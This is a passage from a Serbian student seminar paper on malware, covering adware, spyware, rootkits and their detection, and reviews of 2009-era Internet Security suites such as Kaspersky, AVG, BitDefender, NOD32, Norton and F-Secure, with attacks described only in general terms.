Osnovna namena takvih programčića, pored reklamiranja, je da prikupljaju informacije o korisniku, uz pomoć kolačića (engl. Cookie). Tako prikupljene podatke adware šalje kompaniji koja ga je postavila, na dalju analizu. Kompanije su na ovaj način u mogućnosti da analiziraju navike korisnika i prilagode reklamu svakom korisniku (ciljane reklame). Na primer, ukoliko korisnik često posećuje sajtove za prodaju automobila, na sajtu će se korisniku prikazivati reklame sa tom sadrţinom.

Posebnu podkategoriju adware programa čine aktivni adware programi. Ovaj

adware se nalazi na računaru korisnika, na kome se aktivira i prikazuje raklame kada se ispune zadati uslovi. Aktivan adware najčešće sadrţi ličnu bazu reklama, koju osveţava kada se računar poveţe na Internet. Na ovaj način program je u stanju da prikazuje reklame i kada računar nije na mreţi.

7.2 Spyware

Spyware [6] programi su zaduţeni za tajno nadgledanje aktivnosti korisnika, na čijem su računaru instalirani.

Da bi došli do podataka o koristiku, spyware programi koriste slične metode kao adware programi, sa tom razlikom što spyware programi aktivno nadgledaju sve aktivnosti korisnika i šalju podatke na udaljenu lokaciju.

Ovi programi neretko pregledaju datoteke na korisnikovom računaru u potrazi za aktivnostima korisnika. Svaki program koji pregleda korisnikov računar ili mreţne resurse, u potrazi za ličnim podacima korisnika, a bez korisnikove eksplicitne dozvole, moţemo smatrati spyware programom.

Page 38: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 38

7.3 Tajne mreţe

Tajne mreţe (engl. Stealth network) su mreţe računara koje dele specifične

vrste informacija. Ove mreţe koriste standardnu mreţnu infrastrukturu za komunikaciju, ali se ponašaju kao nezavisne mreţe. Obično rade po sistemu peer-to-peer pri meĎusobnoj razmeni datoteka.

Da bi funkcionisale, na svakom računaru mora biti instalirana odgovarajuća aplikacija, koja omogućava da računar postane deo mreţe. Klasičan primer takve aplikacije je program Strong DC++.

Slika 7.1 Stealth network – Strong DC++

Ukoliko korisnik zatreţi neku datoteku, zahtev se prosleĎuje ostalim računarima u mreţi. Najčešće unutar mreţe postoji serverski računar, na kome se nalaze katalozi deljenih datoteka svih računara unutar mreţe. Nakon toga korisnik dobija listu lokacija na kojima je dostupna traţena datoteka. Korisnikov računar uspostavlja konekcije ka tim lokacijama i započinje preuzimanje. U slučaju postojanja više različitih lokacija, radi se sinhronizovano preuzimanje blokova podataka sa svih lokacija istovremeno, radi podizanja brzine protoka.

Ključni sigurnosni problem ovakvih mreţa predstavlja mogućnost snimanja i izmene podataka na drugom računararu unutar mreţe. Tajne mreţe su izuzetno ranjive, a samim tim i pogodne za lansiranje malicioznih programa.

Page 39: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 39

7.4 Detekcija i uklanjanje parazitskih programa

Uklanjanje parazitskih programa sa računara često predstavlja problem. Tvorci ovih programa se trude da svoj program dobro sakriju ili do te mere integrišu u legitiman program, da njegovo uklanjanje iz sistema kao rezultat ima uništenje legitimnog programa.

Najlakši način za uklanjanje parazitskih programa je upotreba nekog od sofisticiranih programa koji se bavi time. Ad-Aware [45] kompanije LavaSoft je dobar primer takvog programa.

Slika 7.2 LavaSoft Ad – Aware

Page 40: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 40

8. ROOTKIT

Rootkit [46], [47] predstavlja komplet (engl. kit) koji se sastoji od malih i korisnih programa koji omogućavaju napadaču da odrţava pristup root-u, korisniku sa najvećim privilegijama na sistemu. Ovaj komplet je skup programa i koda koji omogućava permanentno i neprimećeno prisustvo nekom računaru.

Dizajniran je tako da sakrije svoj programski kod i podatke na sistemu. Obično se koristi za udaljeni pristup ili prisluškivanje (engl. eavesdropping) podataka na sistemu ili mreţi.

Prvobitno je rootkit bio namenjen za udaljeno administriranje ili slične korisne operacije, meĎutim njegove pozitivne osobine su brzo zapazili zlonamerni korisnici. Ukoliko zlonameran korisnik poseduje potrebno znanje iz oblasti kompjuterske bezbednosti, rootkit alatka u njegovim rukama postaje vrlo opasno oruĎe.

Knjiga (Pleskonjić et al., 2007) na sledeći način obraĎuje oblast rootkit alata.

8.1 Podela rootkit alata

Dve najznačajnije grupe rootkit alata su:

aplikacioni rootkit alati – poput ostalih aplikacija rade u korisničkom

(engl. User mode) reţimu.

rootkit alati na nivou jezgra – integrišu se u samo jezgro i rade na nivou

jezgra (engl. Kernel mode).

Ove dve vrste alata razlikuju se po mestu u sistemu na kome su smešteni i načinu na koji skrivaju svoje prisustvo u sistemu.

Aplikacioni rootkit [46] alati se zasnivaju na zameni legitimnih aplikacija

zlonamernim datotekama. Ubačene datoteke omogućavaju napadaču da prikrije svoje prisustvo i da obavi ţeljene aktivnosti na sistemu. Alat moţe da „otvori zadnja vrata“ koja napadač moţe da iskoristi za upad na sistem.

Akcije koje napadač sprovodi kako bi sakrio svoje prisustvo na sistemu, mogu se grupisati u:

Skrivanje zlonamernih datoteka i direktorijuma koje je napadač ubacio;

Skrivanje procesa koje je napadač pokrenuo;

Onemogućavanje ubijanja procesa koje je napadač pokrenuo;

Prikrivanje aktivnosti napadača na mreţi;

Skrivanje unosa u datoteku crontab;

Skrivanje zapisa u log datoteci o vezama koje napadač ostvaruje sa udaljenim sistemom.

Rootkit alati na nivou jezgra [46] otkrivaju se teţe od aplikacionih, jer se

integrišu u samo jezgro operativnog sistema, što znači da ih moţe zaobići provera integriteta sistema obavljena u neprivilegovanom reţimu rada.

Page 41: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 41

Ovi alati koriste modularnu arhitekturu nekih operativnih sistema, poput Linux-a, u kome je jezgro sastavljeno od modula. Korisnik sa root privilegijama moţe u jezgro učitati novi modul (engl. Loadable Kernel Module) i na taj način obezbediti proširenje funkcionalnosti operativnog sistema.

8.2 Linux

Zbog načina na koji Linux operativni sistem tretira prava pristupa korisnika, kraĎa informacija sa računara pod ovakvim operativnim sistemom dodatno je oteţana. Napadači su morali da pronaĎu načine „zavaravanja“ ovih mehanizama kako bi sakrili svoje prisustvo u sistemu. Iz tih razloga, napadači koriste rootkit alate.

Napad na sistem zasnovan na rootkit alatima izvodi se u četiri faze:

Sakupljanje informacija o sistemu koji se ţeli provaliti, kao na primer: koja distribucija operativnog sistema je pitanju, koja verzija jezgra, koji korisnički nalozi postoje ...

Sticanje administratorskih prava, tačnije prava koja ima root korisnik, a koja su najčešće neophodna za instalaciju;

Ubacivanje i instaliranje rootkit alata;

Uspostavljanje kontrole nad ciljnim sistemom.

8.3 Windows rootkit

Upotrebom postojećeg interfejsa u Windows operativni sistem se moţe

ubaciti zlonameran kod. Windows operativni sistem sadrţi odreĎene komponente koje omogućavaju nadogradnju sistema alatima drugih proizvoĎača.

Primer toga je proces prijavljivanja na sistem (engl. User logon process) koji se moţe proširiti novim programima i bibliotekama. Kako standardna procedura prijavljivanja na Windows sistem počinje zadavanjem kombinacije tastera Ctrl+Alt+Delete, proces winlogon, koji nastaje pokretanjem datoteke winlogon.exe, poziva standardnu Windows biblioteku msgina.dll koja proverava identitet korisnika na osnovu unetog korisničkog imena i lozinke.

Proces prijavljivanja moţe da se izmeni korišćenjem trojanskog konja FakeGINA, koji zapravo predstavlja rootkit alat.

Sledeću bitnu stavku Windows rootkit alata predstavlja deaktiviranje sistema zaštite datoteka.

Prilikom instalacije operativnog sistema generiše se spisak značajnih sistemskih datoteka. Zamena ovih datoteka drugim verzijama moguća je jedino ukoliko administrator instalira sistemski Service Pack ili neku zvaničnu zakrpu (engl. hotfix). Napadači često moraju da promene neku sistemsku datoteku koja nije predviĎena da se menja. Da bi u tome uspeli, potrebno je da onesposobe Windows sistem zaštite datoteka WFP (engl. Windows File Protection).

Page 42: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 42

DLL injection [48] i API hooking [49] predstavljaju tehnike napada na procese. Napadač ubacuje zlonameran kod u neki proces i na taj način menja originalnu funkciju procesa. Tehnika ubrizgavanja DLL biblioteke (engl. DLL injection), izvodi se ubacivanjem zlonamerne DLL biblioteke u memorijski prostor aktivnog procesa. API hooking tehnika nadovezuje se na DLL injection i predviĎa ubacivanje zlonamernih rootkit funkcija u legitimne DLL datoteke.

Program AFX Windows Rootkit [51] predstavlja alat koji kombinuje tehnike DLL injection i API hooking. Ova aplikacija prikriva aktivne procese u sistemu, direktorijume, datoteke, zapise u registry bazi, TCP i UDP portove itd. Alat AFX Windows Rootkit nije u stanju da otvori “zadnja vrata“ da bi ušao u sistem, te je neophodno najpre formirati „ulaz“ u sistem pomoću nekog drugog alata. Prisustvo alata koji je otvorio ulaz u sistem se potom prikriva uz pomoć AFX Windows Rootkit alata.

Slika 8.1 AFX Windows Rootkit 2003 – preuzeto iz [50]

8.4 Detekcija i uklanjanje rootkit alata

Rootkit alati za sobom ipak ostavljaju neki trag. Razlika u slici sistema spada

u najznačajnije. Rezultati skeniranja sistema na najvišem nivou (Windows API) i rezultati skeniranja sistema na najniţem nivou (sadrţaj sistema datoteka ili baze Registry na disku) se ne poklapaju.

Alati (aplikacioni rootkit ili rootkit jezgra) koji manipulišu API-jem da bi se sakrili, mogu se otkriti na osnovu razlike izmeĎu informacija pribavljenih od API-ja i informacija dobijenih pri skeniranju strukture sistema datoteka.

Jedno je sigurno, lakše je sprečiti instaliranje ovih alata nego ih kasnije otkriti i ukloniti. Korisnici imaju na raspolaganju programe namenjene otkrivanju i uklanjanju rootkit alata, kao na primer: Black Light, Rootkit Revealer, Chkrootkit...

Page 43: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 43

Slika 8.2 BlackLight [51] & Rootkit Revealer [52]

Slika 8.3 Program Chkrootkit [53]

Page 44: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 44

9. ZAŠTITA OD ZLONAMERNIH PROGRAMA

Prvi zlonamerani programi su najčešće bili bezopasni, a šteta koju su nanosili korisniku ogledala se u njegovom uznemiravanju. Kako je vreme prolazilo zlonamerni programi su počeli zauzimati sve više prostora na diskovima, uništavati i menjati podatke na računaru, sakupljati i krasti lične podatke od korisnika... Svakodnevno se pojavljuju novi maliciozni programi, koji koriste kompleksnije metode napada i nanose veću štetu računarima.

Najčešća opasnost od zlonamernih programa korisnicima preti od Interneta (surfovanje web-om, skidanje krekovanih programa, itd.), elektronske pošte i sigurnosnih propusta u operativnim sistemima i aplikacijama.

Zaštita od Interneta i elektronske pošte se moţe ostvariti instaliranjem antivirusnih paketa [54] i redovnim osveţavanjem baze virusa. Upotrebom javno

dostupnih web servisa za primanje elektronske pošte, kao recimo www.Gmail.com, nivo bezbednosti se podiţe na viši nivo. U tom slučaju sama kompanija (u ovom slučaju Google) brine o ispravnosti onoga što pristiţe u elektronsko sanduče.

Problematika vezana za probleme sa bezbednosnim propustima u operativnim sistemima i raznim programima, je mnogo kompleksnija. Njihovo ublaţavanje moţe se ostvariti redovnim instaliranjem bezbednosnih zakrpa i paţljivim odabirom aplikacionih programa. Ohrabruje činjenica da većina današnjih programa ima mogućnost automatskog preuzimanja popravki putem Interneta.

MeĎutim, ova osobina je doprinela tome da se sve češće, pod pritiskom konkurencije, izbacuju nezrele verzije programa i operativnih sistema. Ovakvi programi su prepuni bezbednosnih propusta, a korisnici na taj način obavljaju posao Beta testera, iako toga nisu ni svesni.

Upotreba antivirusnog programa i njegovo redovno aţuriranje, iako neophodno na svakom računaru, u praksi se ponekad ne poštuje. Većina korisnika zanemaruje ovaj segment bezbednosti sve do trenutka dok ne postanu ţrtve zlonamernih programa. Pojava besplatnih antivirusnih paketa omogućila je da danas svaki korisnik sebi moţe da priušti osnovni nivo zaštite.

To što korisnik poseduje antivirusni program, čiju bazu redovno osveţava, ne čini ga apsolutno bezbednim. O ovome svedoče napadi brzih crva, takozvanih fast burnera, koji su u stanju da se rašire u roku od nekoliko sati. Ukoliko kompanija koja proizvodi antivirusni program nije dodala definiciju virusa (potpis virusa) u svoju bazu potpisa, postoji opravdana sumnja da takav virus moţe neopaţeno ući u sistem, jer antivirus neće biti u stanju da ga pravilo detektuje.

9.1 Podela antivirusnih programa

Antivirusni paketi se razvijaju uporedo sa razvojem zlonamernih program koje treba da spreče. U knjizi (Pleskonjić et al., 2007) razvoj antivirusnih paketa se deli na četiri generacije [55]:

Page 45: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 45

Prva generacija - Skener koristi potpise virusa ili promene u duţini

programa da otkrije virus;

Druga generacija - Koriste se heuristička pravila ili kontrolne sume (engl.

checksum) da se uoče promene i virusna infekcija;

Treća generacija - Programi identifikuju virus na osnovu akcija;

Četvrta generacija - Paketi sa raznovrsnim antivirusnim tehnikama kao

što su skeniranje, “zamke za aktivnosti” (engl. activity traps), kontrola pristupa itd.

Trenutno se razvijaju mnoge napredne antivirusne tehnike, kao na primer generičko dešifrovanje (koristi se CPU simulatori da bi se proverio potpis programa

i ponašanje, pre nego što ih stvarno i pokrene).

9.2 Odabir antivirusnog alata

Dobar antivirusni alat treba da obezbedi sledeće:

Prevencija (engl. prevention) – Mehanizam za blokiranje infekcija;

Otkrivanje (engl. detection) – Detektovanje zlonamernog programa u

inficiranom sistemu;

Reakcija (engl. reaction) – Vraćanje sistema u stanje pre infekcije, čišćenje

sistema.

Uglavnom svi savremeni antivirusni programi podrţavaju navedene stavke. Zbog toga su firme i pojedinci često u dilemi koji alat za odbranu od zlonamernih programa odabrati. Jedno je sigurno, svemoguć antivirusni alat ne postoji.

Pri odabiru programa, korisnik se moţe voditi veličinom baze definicija virusa koju alat poseduje, lakoćom njenog osveţavanja, heurističkim sposobnostima samog alata (detekcija nepoznatih virusa), tačnošću detekcije, brzinom alata i naravno cenom proizvoda.

Antivirusni alati su u stanju precizno detektovati samo poznate viruse, tj. one viruse čiji se potpisi nalaze u bazi virusa antivirusnog paketa. Zbog toga se

proizvoĎeči trude da njihove baze budu redovno aţurirane novim definicijama virusa. Često same kompanije koje prave antivirusne pakete kreiraju svoje viruse u cilju testiranja proizvoda i podizanja broja definisanih virusa u bazi virusa.

U slučaju pojave novog zlonamernog programa, jedino što moţe odbraniti korisnika jesu heurističi algoritmi [56] implementirani u samom programu. Ovaj

način detekcije je prilično neprecizan, a neretko detektuje problematičan kod i kada to nije. Loša detekcija direktno utiče na tačnost detekcije.

Antivirusni alati u cilju podizanja brzine skeniranja pribegavaju raznim optimizacijama. Najradikalnije od svih su pregledanje datoteka samo sa odreĎenim ekstenzijama i pregledanje kompresovanih datoteka samo do odreĎenog nivoa kompresije. Iako ovo neminovno povećava brzinu skeniranja, sa druge strane se ţrtvuje preciznost detekcije.

Page 46: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 46

Na kraju korisnik mora da odluči koliko je spreman da plati za sve ovo. Većina kompanija nudi besplatne (uglavnom ograničene) verzije svojih alata za zaštitu. One su obično sasvim dovoljne za ličnu upotrebu, ali ne i za poslovnu.

Page 47: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 47

10. INTERNET SECURITY PAKETI

Ukoliko koristite računar bez nekog antivirusnog paketa, imaćete mnogo sreće ako ne „zakačite nešto” već posle nekoliko minuta provedenih na Internetu. Korišćenje nekog zaštitnog programa u današnje vreme postaje obaveza. Za koji god paket da se odlučite, bez obzira na njegov kvalitet, bolja je opcija nego da ga uopšte nemate. Uvek je bolje imati kompletnu zaštitu, zato je poţeljno odabrati paket koji u sebi pored antivirusa sadrţi firewall [58], anti-spam zaštitu [59] i ostale dodatke. U nastavku će biti predstavljeni aktuelni Internet Security [60] paketi, kao kompletna zaštita od zlonamernih programa.

Trenutno postoji nekoliko desetina ovakvih paketa, od tog broja samo njih nekoliko zauzima značajniji deo svetskog trţišta. Odluku o tome koji je paket najbolji nije moguće doneti, jer je tako nešto veoma teško odrediti zbog široke primene ovih paketa. Kod nekih alata bolje radi firewall, negde je algoritam za proveru virusa kvalitetniji, neko ima aţurniju bazu potpisa virusa...

Istovremena instalacija dva antivirusna paketa neće duplirati sigurnost računara, već naprotiv, učiniće samo da ni jedan od njih ne radi kako treba. Iako proizvoĎači antivirusnih programa meĎusobno tesno saraĎuju, često je nemoguće na istom računaru, pod istim operativnim sistemom imati instalirana dva različita antivirusna paketa.

U članku o antivirusnim paketima (Bubanja, 2009), [57] analiziraju se najnoviji Internet Security alati.

10.1 Kaspersky Internet Security 2010

Pri pomeni antivirusa, prva asocijacija je Kaspersky, najviše zahvaljujući Jevgeniju Kasperskom, ako ne najboljem, onda definitivno najeksponiranijem stručnjaku za antiviruse. Kaspersky Internet Security [61] je jedan od najboljih Internet Security paketa. Ovaj paket se moţe nabaviti u velikom broju lokalizovanih verzija, pa je veoma popularan u zemljama van engleskog govornog područja.

Instalacija Kaspersky Internet Security paketa spada u inteligentne instalacije. Po pokretanju instalacione procedure, program prvo proverava da li na zvaničnom sajtu postoji novija verzija paketa od one koja se nalazi na računaru i prema potrebi je preuzima. Nakon toga, proverava da li je uključena neka vrsta zaštite (recimo Microsoft Windows Firewall) i preporučuje korisniku da je ugasi kako bi se izbegli mogući konflikti u kasnijem radu.

Podrţava mogućnost aktiviranja antivirusa prilikom instaliranja paketa, opcija self-defence, koja omogućava instalaciju Kaspersky Internet Security paketa čak i na računare koji su zaraţeni malicioznim programima, a koji su u stanju da deaktiviraju antivirusne pakete. Aktivacija Kaspersky Internet Security paketa obavlja se preko Interneta, a nakon toga sledi obavezan update programa i baze potpisa virusa.

Page 48: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 48

Paket se sastoji iz četiri celine: Anti-Malware, System Security, Online Security i Content Filtering.

Anti-Malware je u stvari klasičan antivirusni deo (Kaspersky Antivirus) koji štiti fajlove na računaru, elektronsku poštu i fajlove u trenutku kada se preuzimaju sa Interneta, a pruţa i zaštitu pri surfovanju. Sistemska sigurnost (engl. System Security) obezbeĎuje praćenje prava pristupa pojedinih aplikacija i uzbunjivanje korisnika ukoliko se primeti neka neobična aktivnost. U sistemsku sigurnost spada firewall, koji je u stanju da uči navike korisnika, ali i proaktivna zaštita koja predstavlja neku vrstu napredne heuristike. Online Security podrazumeva anti-phishing, Network Attack Blocker (odbijanje napada s drugih kompjutera) i anti-dialer. Content Filtering je deo koji je zaduţen za filtriranje sadrţaja uklanjanjem spamova, blokiranje reklama i roditeljskom kontrolom.

Kaspersky Internet Security omogućava visok stepen kontrole svih parametara, iako i sa podrazumevanim vrednostima obezbeĎuje odgovarajući stepen zaštite.

Slika 10.1 Kaspersky Internet Security 2010 – preuzeto iz [61]

Provera se vrši na zahtev korisnika ili u realnom vremenu, a sigurnost ovog paketa potvrĎena je i kroz nekoliko nezavisnih i široko prihvaćenih testova. TakoĎe je dobitnik nekoliko sertifikata koje dodeljuju nezavisne organizacije za proveru antivirusnih rešenja:

Page 49: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 49

Virus Bulletin 100% – Dodeljuje se antivirusnim programima koji pronaĎu

sve aktuelne viruse, tokom preuzimanja programa sa mreţe i tokom skeniranja sistema.

ISCA sertifikat – Dodeljuje se programima koji su u stanju da zaštite korisnika od svake vrste zlonamernih programa. Sertifikat se obnavlja svake godine.

West Coast Labs Checkmark level 1 & 2 sertifikati – Dodeljuju se antivirusima koji pronalaze sve viruse i pri tom ne podiţu laţne uzbune, onemogućavaju replikaciju virusa i uspevaju da dezinfikuju sve viruse za koje do tog trenutka postoji siguran način za dezinfekciju.

Kaspersky Internet Security prilikom kompletnog skeniranja pravi bazu skeniranih fajlova, te je svaki sledeći full-scan znatno brţi od inicijalnog, koji se pokreće odmah nakon instalacije.

10.2 AVG Internet Security 8.5

AVG Internet Security [62] paket je jedan od retkih besplatnih antivirusnih paketa koji zasluţuje paţnju korisnika. Ovde će ipak biti predstavljena komercijalna verzija, da bi paket bio konkurentan sa ostalim Internet Security paketima.

Pri instaliranju AVG proverava da li na računaru postoji neki drugi antivirus i obaveštava korisnika o tome. TakoĎe moţete da odaberete i plug-in module za neki od alternativnih mail klijenata. Ukoliko se korisnik odluči da instalira firewall, automatski će biti deaktiviran ugraĎeni Windows Firewall. Nakon instalacije trebalo bi proći kroz čarobnjaka koji omogućava podešavanje osnovnih parametara vezanih za skeniranje, skidanje novih verzija programa, preuzimanje novih potpisa virusa, itd. Skeniranje diska je potrebno pokrenuti ručno, u slučaju antivirusa, nakon instalacije programa.

Page 50: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 50

Slika 10.2 AVG Internet Security 8.5 – preuzeto iz [57]

AVG paket se sastoji od antivirusne, antispyware, antispam komponente, firewalla, antirootkita, e-mail skenera, link skenera, Web i Resident štitova. Svaka od pomenutih komponenti se zasebno aktivira i podešava. Novine u odnosu na ostale programe su Web, Link i Resident Sheild, koji sluţe za proveru web sajtova u realnom vremenu, linkova na njima i fajlova na lokalnom računaru kako bi se izbegle moguće infekcije.

Osnova podešavanja ovog paketa ne uključuju proveru rootkit infekcije, a takoĎe ni proveru multimedijalnih fajlova. Ovo je glavni razlog što je vreme skeniranja celog sistema sa ovim programom kraće nego kod Kasperskog. Povećanjem prioriteta skeniranja, direktno u programu, vreme skeniranja se moţe dodatno smanjiti. Ponovljeno skeniranje je tek za nijansu brţe, što govori da AVG ne kreira bazu skeniranih fajlova, već ceo proces punog skeniranja obavlja detaljno svaki put kada se pokrene.

Pozitivna osobina ovog programa je to što zauzima zaista minimalne resurse računara u toku rada, naročito kada je u pitanju operativna memorija. TakoĎe ovaj paket ne zahteva skoro nikakva podešavanja, već se nakon instalacije po automatizmu uključuju svi servisi, koji se lako mogu isključiti.

10.3 BitDefender Internet Security 2009

BitDefender Internet Security [63] paket zahteva aktivnu internet konekciju prilikom instalacije, jer se u prvom trenutku preuzima samo installer, koji nakon pokretanja skida ostatak podataka potrebnih za instalaciju. Pri instalaciji se isključuje ugraĎeni Windows Firewall i Windows Defender, radi izbegavanja konflikta. Nakon

Page 51: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 51

instalacije ne zahteva se automatsko aţuriranje baze potpisa malicioznih programa, već se to mora obaviti ručno, što moţe predstavljati ozbiljnu manu ovog paketa.

Slika 10.3 BitDefender Internet Security 2009 – preuzeto iz [57]

U toku rada BitDefender se ponaša veoma dobro. Program sa automatski podešenim setovanjima podiţe kompletnu zaštitu računara. Većina korisnika će biti zadovoljna stepenom zaštite koja je aktivirana takvim podešavanjima. Interfejs je jednostavan i jasno ukazuje na eventualne pretnje.

Dosta paţnje autori programa su posvetili optimizaciji prilikom skeniranja, što je lako uočljivo ukoliko se uporede brzine skeniranja u tekućoj i prethodnoj verziji ovog paketa. Prilikom skeniranja pravi se log datoteka u koji se upisuju informacije

o statusu svake skenirane datoteke i poslednjem vremenu pristupa. Na ovaj način se kasnijim skeniranjima dodatno štedi vreme. Ukoliko je datoteka pri prethodnom skeniranju označena kao neinficirana, a u meĎuvremenu joj niko nije pristupao, program će je preskočiti prilikom sledećeg skeniranja.

Internet Security paket sadrţi alate koji pronalaze viruse i spyware programe. Korišćenjem napredne proaktivne tehnike zaštite u stanju je da detektuje kako

poznat maliciozan kod, tako i onaj koji se ne nalazi u bazi potpisa virusa. Dobro se snalazi i sa rootkit pretnjama, a poseduje i anti-phishing zaštitu od prikaza laţnih web stranica koje imaju za cilj preuzimanje informacija od korisnika. TakoĎe sadrţi mogućnost aktiviranja roditeljske zaštite, kao i moda za igranje (engl. Gaming

mod). U ovom modu program privremeno spušta zaštitu na nivo koji minimalno utiče na performanse sistema, čime se igračima omogućava da izvuku maksimum iz računara, a da pri tom ipak zadrţe i odreĎeni stepen zaštite.

Novinu predstavlja opcija koja detektuje osetljive tačke sistema, kao na

primer postojanje novih bezbednosnih zakrpa za Windows koje nisu instalirane. Ovime se takoĎe doprinosi povećanju sveukupnog stepena zaštite.

Page 52: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 52

U mreţnom okruţenju program radi odlično. Veoma lako se sa jednog

računara moţe pokrenuti skeniranje bilo kog drugog računara u mreţi. TakoĎe se jednom računaru u mreţi moţe dodeliti uloga update servera, koji će nove potpise

virusa preuzeti sa Interneta i potom ih distribuirati do ostalih računara u mreţi.

10.4 ESET NOD32 Smart Security

Sve do verzije 3, glavna zamerka korisnika bila je da je interfejs programa kompleksan i teţak za podešavanje. Novije verzije NOD32 programa [64] na prvi pogled deluju veoma jednostavno, pošto u osnovnom modu korisniku gotovo i ne nude nikakve opcije za podešavanje. Napredna podešavanja su dobro sakrivena, kako bi se dobio odličan balans izmeĎu jednostavnosti upotrebe i finog podešavanja programa.

Zaštita setovanja programa se moţe osigurati postavljanjem šifre. Šifra je

inače potrebna i za neke druge stvari kao što je na primer update antivirusne baze, a ona se dobija kupovinom proizvoda ili zahtevom za dobijanje probne (engl. trial) šifre preko sajta proizvoĎača. Korisniku se u toku instalacije nudi da učestvuje u ThreatSense.Net sistemu ranog upozorenja, koji automatski šalje informacije proizvoĎaču, tj. kompaniji ESET, o eventualnom novom virusu ili nepoznatoj pretnji.

Slika 10.4 NOD32 ESET Smart Security

Page 53: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 53

NOD32 ESET Smart Security paket poseduje detekciju potencijalno neţeljenih aplikacija, koja ne radi po principu antivirusa, ali omogućava sprečavanje prikrivenog instaliranja aplikacija na računaru. Paket se sastoji iz antivirusnog i antispyware modula, firewalla i antispam aplikacije. NOD32 Firewall, pruţa mogućnost da računar bude nevidljiv u lokalnoj mreţi.

Smart scan je fabrički podešeno skeniranje na ovom programu. Potpuno skeniranje diska i svih fajlova na njemu vrši se ručnim podešavanjem opcija odabirom In-depth sistema skeniranja i čekiranjem svih lokalnih diskova u Custom scan sekciji programa. Algoritam za skeniranje je veoma brz, od dva do četiri puta brţi u odnosu na slične pakete. Razlika u vremenu skeniranja prvog i drugog puta postoji, ali iznosi oko 20 procenata, te se ne moţe zaključiti da li program pravi log skeniranih datoteka koji će koristiti pri sledećem skeniranju.

10.5 Norton Internet Security 2009

Vidljivo poboljšanje Norton Internet Security [65] paketa odnosi se na mnogo brţi proces instalacije, u odnosu na prethodne verzije, koji je sveden na nekoliko minuta. Program u svakom trenutku nudi grafički prikaz ukupnog zauzeća procesora i dela koji zauzima sam Norton Internet Security pakt.

Slika 10.5 Norton Internet Security 2009 – preuzeto iz [57]

Paket se sastoji od antivirusa, spyware zaštite, firewalla, antiphishing sekcije, a omogućava zaštitu identiteta korisnika i mreţnu zaštitu. TakoĎe

Page 54: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 54

prepoznavanje rootkit i botnet aplikacija, kao i još desetak drugih tehnologija zaštite računara i privatnosti korisnika.

Norton poseduje Norton Insight opciju, koja ima zadatak da identifikuje datoteke koje su sigurne i proverene. Ove datoteke u budućnosti neće morati ponovo da se skeniraju, čime se ubrzava proces skeniranja. Antivirusni deo ovog paketa ponaša se vrlo dobro, što se ne moţe reći za antispyware komponentu, koja često ne prijavljuje inficirane fajlove.

Norton je sposoban da proverava i stanje na umreţenim računarima, za šta postoji poseban deo unutar programa. Podrţana je opcija roditeljske kontrole

korišćenja računara, koja se nalazi u sekciji za podešavanje programa, i zahteva naknadno preuzimanje dodatnih modula sa Interneta.

10.6 F-Secure Internet Security 2009

F-Secure Internet Security [66] prilikom instalacije jedino što dopušta da odabere korisniku jeste opcija roditeljske kontrole. Update baze se radi automatski po završetku instalacije, tako da korisnik o tome ne treba da vodi računa. Program je jednostavan za upotrebu i u većini slučajeva će standardno podešene postavke korektno obaviti posao. Izmenom pojedinih podešavanja se moţe smanjiti opterećenje procesora.

Ovaj paket nudi kompletnu zaštitu računara, uključujući firewall i kontrolu spama (koja sa osnovnim podešavanjima dodatno usporava preuzimanje elektronske pošte).

Page 55: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 55

Slika 10.6 F-Secure Internet Security 2009 – preuzeto iz [57]

Tehnologija DeepGuard omogućava, brzu reakciju na pojavu infekcija. Ona analizira ponašanje sumnjivih programa i na osnovu toga odlučuje da li će ih okarakterisati kao validne aplikacije ili kao potencijalne pretnje za računar.

Specifičnost ovog paketa je to što koristi nekoliko različitih algoritama za

skeniranje.

Mana ovog paketa je nedostatak phishing komponente koja je u stanju da detektuje i upozori korisnika kada se učitava takav sajt. Phishing komponenta kod većine paketa predstavlja standardnu opciju. TakoĎe, ovo je jedini poznatiji paket koji nije dovio VB 100% i ISCA sertifikate.

Razlika u brzini izmeĎu prvog i drugog skeniranja postoji, ali ne u dovoljnoj meri, da bi se utvrdilo postojanje loga skeniranih fajlova.

Page 56: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 56

10.7 Uporedne karakteristike

U članku o antivirusnim paketima (Bubanja, 2009), [57] data je tabela sa uporednim prikazom najzastupljenijih Internet Security alate.

Slika 10.7 Uporedne karakteristike Internet Security

paketa – preuzeto iz (Bubanja, 2009)

Page 57: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 57

